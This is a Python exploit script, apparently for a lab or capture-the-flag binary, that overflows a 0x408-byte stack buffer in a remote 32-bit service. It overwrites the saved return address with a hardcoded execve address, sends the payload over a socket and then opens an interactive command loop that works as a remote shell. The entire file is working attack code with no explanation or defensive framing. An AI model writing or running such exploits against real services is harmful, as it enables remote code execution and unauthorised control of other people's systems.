med32_exp.py

import os
import sys
import struct
import socket

word_size = 4
execve_address = 0xf7eac7c0
argv_zero_address = 0xffffdc37
argv_address = 0xffffdab8
envp_address = 0xffffdac4
buffer_size = 0x408

def main(ip, port):
    payload = b''
    payload += b'A' * buffer_size # fill the buffer
    payload += b'B' * word_size # overwrite saved ebp
    payload += struct.pack("@I", execve_address) # overwrite saved eip
    payload += struct.pack("@I", 0x0) # data overwritten by execve
    payload += struct.pack("@I", argv_zero_address)
    payload += struct.pack("@I", argv_address)
    payload += struct.pack("@I", envp_address)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, int(port)))

    print(s.recv(2048)) # Read the initial output from the program
    s.send(payload)

    while (not s._closed):
        s.send(input("# ").encode() + b"\n")
        print(s.recv(2048))
    
    s.close()

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage: {} <ip> <port>".format(sys.argv[0]))
        exit(-1);

    main(sys.argv[1], sys.argv[2])